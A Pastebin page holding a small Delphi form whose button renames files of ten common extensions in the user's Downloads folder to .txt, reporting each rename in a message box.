Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- unit Unit1;
- interface
- uses
- Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
- Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;
- type
- TForm1 = class(TForm)
- Button1: TButton;
- procedure Button1Click(Sender: TObject);
- private
- { Private declarations }
- public
- { Public declarations }
- end;
- var
- Form1: TForm1;
- implementation
- {$R *.dfm}
- procedure TForm1.Button1Click(Sender: TObject);
- var
- SearchRec: TSearchRec;
- ArquivoOriginal, NovoArquivo: string;
- Extensao: string;
- ExtensaoArray: array[1..10] of string;
- i: Integer;
- begin
- // Define as extensões
- ExtensaoArray[1] := '.exe';
- ExtensaoArray[2] := '.txt';
- ExtensaoArray[3] := '.doc';
- ExtensaoArray[4] := '.docx';
- ExtensaoArray[5] := '.xls';
- ExtensaoArray[6] := '.xlsx';
- ExtensaoArray[7] := '.ppt';
- ExtensaoArray[8] := '.pptx';
- ExtensaoArray[9] := '.pdf';
- ExtensaoArray[10] := '.zip';
- // Define o caminho da pasta de downloads
- ArquivoOriginal := 'C:\Users\' + GetEnvironmentVariable('USERNAME') + '\Downloads\';
- for i := 1 to 10 do
- begin
- Extensao := ExtensaoArray[i];
- // Procura por arquivos com a extensão atual na pasta de downloads
- if FindFirst(ArquivoOriginal + '*' + Extensao, faAnyFile, SearchRec) = 0 then
- begin
- repeat
- // Define o caminho do novo arquivo
- NovoArquivo := ArquivoOriginal + ChangeFileExt(SearchRec.Name, '.txt');
- // Renomeia o arquivo
- if RenameFile(ArquivoOriginal + SearchRec.Name, NovoArquivo) then
- ShowMessage(SearchRec.Name + ' foi renomeado para ' + ExtractFileName(NovoArquivo))
- else
- ShowMessage('Não foi possível renomear ' + SearchRec.Name);
- until FindNext(SearchRec) <> 0;
- // Libera os recursos usados pela função FindFirst
- FindClose(SearchRec);
- end;
- end;
- end;
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement